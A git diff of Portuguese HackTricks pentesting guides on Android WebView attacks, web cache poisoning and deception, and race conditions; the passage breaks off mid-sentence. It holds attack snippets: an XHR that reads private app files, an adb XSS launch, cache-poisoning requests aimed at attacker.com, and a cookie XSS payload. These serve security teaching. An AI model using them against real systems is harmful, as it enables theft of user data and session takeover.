diff --git a/mobile-pentesting/android-app-pentesting/webview-attacks.md b/mobile-pentesting/android-app-pentesting/webview-attacks.md index 2e53cc120..937d5825c 100644 --- a/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -9,108 +9,115 @@ Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. -## Guia Simplificado sobre Configurações e Segurança do WebView +## Guia sobre Configurações e Segurança do WebView -### Visão Geral das Vulnerabilidades do WebView +### Visão geral das Vulnerabilidades do WebView Um aspecto crítico do desenvolvimento Android envolve o manuseio correto dos WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar os riscos associados ao uso do WebView. -![Exemplo de WebView](../../.gitbook/assets/image%20(718).png) +![Exemplo de WebView](<../../.gitbook/assets/image (718).png>) ### **Acesso a Arquivos em WebViews** -Por padrão, os WebViews permitem o acesso a arquivos. Essa funcionalidade é controlada pelo método `setAllowFileAccess()`, disponível desde o nível de API do Android 3 (Cupcake 1.5). Aplicativos com a permissão **android.permission.READ_EXTERNAL_STORAGE** podem ler arquivos do armazenamento externo usando um esquema de URL de arquivo (`file://caminho/para/arquivo`). +Por padrão, os WebViews permitem o acesso a arquivos. Essa funcionalidade é controlada pelo método `setAllowFileAccess()`, disponível desde o nível de API do Android 3 (Cupcake 1.5). Aplicativos com a permissão **android.permission.READ\_EXTERNAL\_STORAGE** podem ler arquivos do armazenamento externo usando um esquema de URL de arquivo (`file://caminho/para/arquivo`). #### **Recursos Obsoletos: Acesso Universal e Acesso a Arquivos a partir de URLs** -- **Acesso Universal a partir de URLs de Arquivo**: Este recurso obsoleto permitia solicitações entre origens de URLs de arquivo, representando um risco significativo de segurança devido a possíveis ataques XSS. A configuração padrão é desativada (`false`) para aplicativos direcionados ao Android Jelly Bean e mais recentes. -- Para verificar essa configuração, use `getAllowUniversalAccessFromFileURLs()`. -- Para modificar essa configuração, use `setAllowUniversalAccessFromFileURLs(boolean)`. - -- **Acesso a Arquivos a partir de URLs de Arquivo**: Este recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs de esquema de arquivo. Assim como o acesso universal, sua configuração padrão é desativada para maior segurança. -- Use `getAllowFileAccessFromFileURLs()` para verificar e `setAllowFileAccessFromFileURLs(boolean)` para definir. +* **Acesso Universal a partir de URLs de Arquivo**: Este recurso obsoleto permitia solicitações entre origens a partir de URLs de arquivo, representando um risco significativo de segurança devido a possíveis ataques XSS. A configuração padrão é desativada (`false`) para aplicativos direcionados ao Android Jelly Bean e mais recentes. +* Para verificar essa configuração, use `getAllowUniversalAccessFromFileURLs()`. +* Para modificar essa configuração, use `setAllowUniversalAccessFromFileURLs(boolean)`. +* **Acesso a Arquivos a partir de URLs de Arquivo**: Este recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs de esquema de arquivo. Assim como o acesso universal, sua configuração padrão é desativada para maior segurança. +* Use `getAllowFileAccessFromFileURLs()` para verificar e `setAllowFileAccessFromFileURLs(boolean)` para definir. #### **Carregamento Seguro de Arquivos** Para desativar o acesso ao sistema de arquivos enquanto ainda acessa ativos e recursos, é usado o método `setAllowFileAccess()`. Com o Android R e superior, a configuração padrão é `false`. -- Verifique com `getAllowFileAccess()`. -- Ative ou desative com `setAllowFileAccess(boolean)`. + +* Verifique com `getAllowFileAccess()`. +* Ative ou desative com `setAllowFileAccess(boolean)`. #### **WebViewAssetLoader** A classe **WebViewAssetLoader** é a abordagem moderna para carregar arquivos locais. Ela usa URLs http(s) para acessar ativos e recursos locais, alinhando-se com a política de Mesma Origem, facilitando assim a gestão de CORS. -### **JavaScript e Manipulação de Esquema de Intent** +### loadUrl -- **JavaScript**: Desativado por padrão em WebViews, pode ser ativado via `setJavaScriptEnabled()`. É aconselhável cautela, pois habilitar JavaScript sem salvaguardas adequadas pode introduzir vulnerabilidades de segurança. +Esta é uma função comum usada para carregar URLs arbitrários em um webview: +```java +webview.loadUrl("") +``` +### **Manipulação de Esquemas JavaScript e Intent** -- **Esquema de Intent**: WebViews podem lidar com o esquema `intent`, potencialmente levando a exploits se não forem cuidadosamente gerenciados. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de script entre sites (XSS). +* **JavaScript**: Desativado por padrão em WebViews, pode ser habilitado via `setJavaScriptEnabled()`. É aconselhável ter cautela, pois habilitar o JavaScript sem as devidas proteções pode introduzir vulnerabilidades de segurança. +* **Esquema Intent**: WebViews podem lidar com o esquema `intent`, o que pode levar a exploits se não for cuidadosamente gerenciado. Um exemplo de vulnerabilidade envolveu um parâmetro exposto da WebView "support\_url" que poderia ser explorado para executar ataques de script entre sites (XSS). -![WebView Vulnerável](../../.gitbook/assets/image%20(719).png) +![WebView Vulnerável](<../../.gitbook/assets/image (719).png>) Exemplo de exploração usando adb: + +{% code overflow="wrap" %} ```bash adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html" ``` +{% endcode %} + ### Ponte JavaScript -O Android fornece um recurso que permite que o **JavaScript** em um WebView invoque **funções do aplicativo nativo do Android**. Isso é alcançado utilizando o método `addJavascriptInterface`, que integra o JavaScript com funcionalidades nativas do Android, denominado como uma _ponte JavaScript do WebView_. É aconselhável ter cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto de Interface JavaScript registrado, representando um risco de segurança se informações sensíveis forem expostas por meio dessas interfaces. +Uma funcionalidade é fornecida pelo Android que permite que o **JavaScript** em um WebView invoque **funções nativas do aplicativo Android**. Isso é alcançado utilizando o método `addJavascriptInterface`, que integra JavaScript com funcionalidades nativas do Android, denominado como uma _ponte JavaScript do WebView_. É aconselhável ter cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto de Interface JavaScript registrado, representando um risco de segurança se informações sensíveis forem expostas por meio dessas interfaces. -### Considerações Importantes - -- **Extrema cautela é necessária** para aplicativos direcionados a versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite a execução de código remoto por meio de JavaScript malicioso, explorando reflexão. +* **Extrema cautela é necessária** para aplicativos direcionados a versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite a execução de código remoto por meio de JavaScript malicioso, explorando reflexão. #### Implementando uma Ponte JavaScript -- **Interfaces JavaScript** podem interagir com o código nativo, conforme mostrado nos exemplos em que um método de classe é exposto ao JavaScript: +* **Interfaces JavaScript** podem interagir com o código nativo, como mostrado nos exemplos em que um método de classe é exposto ao JavaScript: ```javascript @JavascriptInterface public String getSecret() { return "SuperSecretPassword"; }; ``` -- A ponte JavaScript é ativada adicionando uma interface ao WebView: +* A Ponte JavaScript é habilitada adicionando uma interface ao WebView: ```javascript webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge"); webView.reload(); ``` -- Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos: +* Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos: ```html ``` -- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e evite carregar JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API como 17. +* Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e evite carregar JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API como 17. -### Execução de Código Remoto (RCE) Baseado em Reflexão +### Execução de Código Remoto (RCE) Baseada em Reflexão -- Um método documentado permite alcançar RCE por meio de reflexão ao executar um payload específico. No entanto, a anotação `@JavascriptInterface` impede o acesso não autorizado aos métodos, limitando a superfície de ataque. +* Um método documentado permite alcançar RCE por meio de reflexão ao executar um payload específico. No entanto, a anotação `@JavascriptInterface` impede o acesso não autorizado aos métodos, limitando a superfície de ataque. ### Depuração Remota -- A **depuração remota** é possível com as **Ferramentas de Desenvolvedor do Chrome**, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView. +* A **depuração remota** é possível com as **Ferramentas de Desenvolvedor do Chrome**, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView. #### Habilitando a Depuração Remota -- A depuração remota pode ser habilitada para todos os WebViews dentro de um aplicativo por meio de: +* A depuração remota pode ser habilitada para todos os WebViews dentro de um aplicativo por meio de: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { WebView.setWebContentsDebuggingEnabled(true); } ``` -- Para habilitar condicionalmente a depuração com base no estado de depuração do aplicativo: +* Para habilitar condicionalmente a depuração com base no estado de depuração do aplicativo: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) { WebView.setWebContentsDebuggingEnabled(true); } } ``` -## Extrair arquivos arbitrários +## Exfiltrar arquivos arbitrários -- Demonstra a extração de arquivos arbitrários usando um XMLHttpRequest: +* Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest: ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { @@ -122,20 +129,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat xhr.send(null); ``` ## Referências + * [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) * [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) * [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) +* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) +* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
-Aprenda hacking da AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 1efa0fbc4..04e9f3f78 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -17,7 +17,7 @@ Outras maneiras de apoiar o HackTricks:
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -35,8 +35,8 @@ O envenenamento de cache tem como objetivo manipular o cache do lado do cliente A execução de um ataque de envenenamento de cache envolve várias etapas: -1. **Identificação de Entradas Não Chaveadas**: Estes são parâmetros que, embora não sejam necessários para que uma solicitação seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois elas podem ser exploradas para manipular o cache. -2. **Exploração das Entradas Não Chaveadas**: Após identificar as entradas não chaveadas, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que beneficie o atacante. +1. **Identificação de Entradas Não-Chaveadas**: Estes são parâmetros que, embora não sejam necessários para que uma solicitação seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois elas podem ser exploradas para manipular o cache. +2. **Exploração das Entradas Não-Chaveadas**: Após identificar as entradas não-chaveadas, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que beneficie o atacante. 3. **Garantir que a Resposta Envenenada seja Armazenada em Cache**: O último passo é garantir que a resposta manipulada seja armazenada em cache. Dessa forma, qualquer usuário que acesse a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada. ### Descoberta: Verificar cabeçalhos HTTP @@ -49,7 +49,7 @@ Se você suspeitar que a resposta está sendo armazenada em cache, você poderia Um cabeçalho mal configurado poderia ser apenas `\:` como cabeçalho.\ _Obs: Às vezes esses tipos de códigos de status não são armazenados em cache, então este teste será inútil._ -### Descoberta: Identificar e avaliar entradas não chaveadas +### Descoberta: Identificar e avaliar entradas não-chaveadas Você poderia usar o [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **forçar parâmetros e cabeçalhos** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente para carregar o script de lá: ```markup @@ -63,7 +63,7 @@ Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanit Depois de ter **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar dele, você precisa obter a página em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, talvez seja necessário tentar por vários segundos.\ O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi colocada em cache e o valor **`hit`** quando está em cache.\ -O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está em cache e quando será a próxima vez que o recurso será colocado em cache novamente: `Cache-Control: public, max-age=1800`\ +O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo colocado em cache e quando será a próxima vez que o recurso será colocado em cache novamente: `Cache-Control: public, max-age=1800`\ Outro cabeçalho interessante é o **`Vary`**. Esse cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache** mesmo que normalmente não sejam chaveados. Portanto, se o usuário conhece o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam esse `User-Agent` específico.\ Mais um cabeçalho relacionado ao cache é o **`Age`**. Ele define o tempo em segundos que o objeto está no cache do proxy. @@ -90,11 +90,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` ### Envenenamento de cache com travessia de caminho para roubar chave de API -[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave de API da OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem o Cloudflare normalizar a URL, o que foi feito quando a solicitação chegou ao servidor web. +[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave de API da OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa correspondente a `/share/*` será armazenada em cache sem o Cloudflare normalizar a URL, o que foi feito quando a solicitação chegou ao servidor web. ### Usando vários cabeçalhos para explorar vulnerabilidades de envenenamento de cache na web -Às vezes, você precisará **explorar várias entradas não-chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **solicitações HTTP** para HTTPS e usando o cabeçalho `X-Forwarded-Scheme` como o nome de domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. +Às vezes, você precisará **explorar várias entradas não-chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **redirecionando** todas as **solicitações HTTP** para HTTPS e usando o cabeçalho `X-Forwarded-Scheme` como o nome de domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -103,7 +103,7 @@ X-Forwarded-Scheme: http ``` ### Explorando com cabeçalho `Vary` limitado -Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent: +Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS** mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -114,7 +114,7 @@ X-Host: attacker.com Saiba aqui como realizar [ataques de Envenenamento de Cache ao abusar do Contrabando de Requisições HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Teste automatizado para Envenenamento de Cache Web +### Teste Automatizado para Envenenamento de Cache Web O [Scanner de Vulnerabilidades de Cache Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente o envenenamento de cache web. Ele suporta diversas técnicas e é altamente personalizável. @@ -136,11 +136,11 @@ O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cac ### GitHub CP-DoS -Enviar um valor inválido no cabeçalho content-type desencadeou uma resposta em cache 405. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados. +Enviar um valor incorreto no cabeçalho content-type desencadeou uma resposta em cache 405. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados. ### GitLab + GCP CP-DoS -O GitLab usa buckets GCP para armazenar conteúdo estático. Os **Buckets GCP** suportam o cabeçalho `x-http-method-override`. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`. +O GitLab usa buckets do GCP para armazenar conteúdo estático. Os **Buckets GCP** suportam o cabeçalho `x-http-method-override`. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`. ### Rack Middleware (Ruby on Rails) @@ -150,7 +150,7 @@ Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de Autorização incorretos resultaria em uma resposta 403 que era armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento ainda pode estar presente em outros serviços de proxy. -### Injetando Parâmetros Chaveados +### Inserção de Parâmetros Chaveados Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava o parâmetro `size` nas requisições. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. Codificar em URL o segundo parâmetro `size` levava à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultava em um erro 400 Bad Request cacheável. @@ -160,15 +160,15 @@ Alguns desenvolvedores bloqueiam requisições com agentes de usuário que corre ### Campos de Cabeçalho Ilegais -O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis em nomes de cabeçalho. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado idealmente deveriam desencadear uma resposta 400 Bad Request. Na prática, os servidores nem sempre seguem esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Foi identificado um padrão explorável onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request cacheável. +O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes de cabeçalho. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado idealmente deveriam desencadear uma resposta 400 Bad Request. Na prática, os servidores nem sempre seguem esse padrão. Um exemplo notável é a Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Foi identificado um padrão explorável onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request cacheável. ### Encontrando novos cabeçalhos [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Decepção de Cache +## Engano de Cache -O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**. +O objetivo do Engano de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**. Primeiramente, observe que **extensões** como `.css`, `.js`, `.png`, etc geralmente são **configuradas** para serem **salvas** no **cache**. Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a extensão `.js`. No entanto, se a **aplicação** estiver **reproduzindo** com o **conteúdo sensível** do usuário armazenado em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários. @@ -181,13 +181,17 @@ Outras coisas para testar: * _www.example.com/profile.php/%2e%2e/test.js_ * _Use extensões menos conhecidas como_ `.avif` -Um exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache vai salvar o resultado.\ Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes. Observe que o **proxy de cache** deve ser **configurado** para **armazenar** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no tipo de conteúdo. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um tipo de conteúdo `text/html` em vez de um tipo mime `text/css` (o esperado para um arquivo _.css_). -Saiba aqui como realizar [ataques de Decepção de Cache abusando do Contrabando de Requisições HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Saiba aqui como realizar [ataques de Engano de Cache abusando do Contrabando de Requisições HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). + +## Ferramentas Automáticas + +* [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar múltiplas técnicas de injeção. ## Referências diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index f7065a0c9..c3f97ddf6 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -10,20 +10,20 @@ Acesse hoje mesmo:
-Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% hint style="warning" %} -Para obter uma compreensão profunda dessa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +Para obter uma compreensão profunda desta técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Aperfeiçoando Ataques de Condição de Corrida @@ -35,7 +35,7 @@ Aqui você pode encontrar algumas técnicas para Sincronização de Solicitaçõ #### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1 * **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente. -* **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado em conjunto, alcançando a chegada simultânea ao servidor. +* **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor. A **Preparação para a Sincronização de Último Byte** envolve: @@ -44,11 +44,11 @@ A **Preparação para a Sincronização de Último Byte** envolve: 3. Desativar o TCP\_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais. 4. Fazer ping para aquecer a conexão. -O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC. +O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC. -### Adaptando à Arquitetura do Servidor +### Adaptação à Arquitetura do Servidor -Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação. +Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento preemptivo da conexão do lado do servidor, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação. #### Lidando com Bloqueios Baseados em Sessão @@ -56,11 +56,11 @@ Frameworks como o manipulador de sessão do PHP serializam solicitações por se #### Superando Limites de Taxa ou Recursos -Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos de limite de taxa ou recursos dos servidores web por meio de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida. +Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida. ## Exemplos de Ataque -* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em 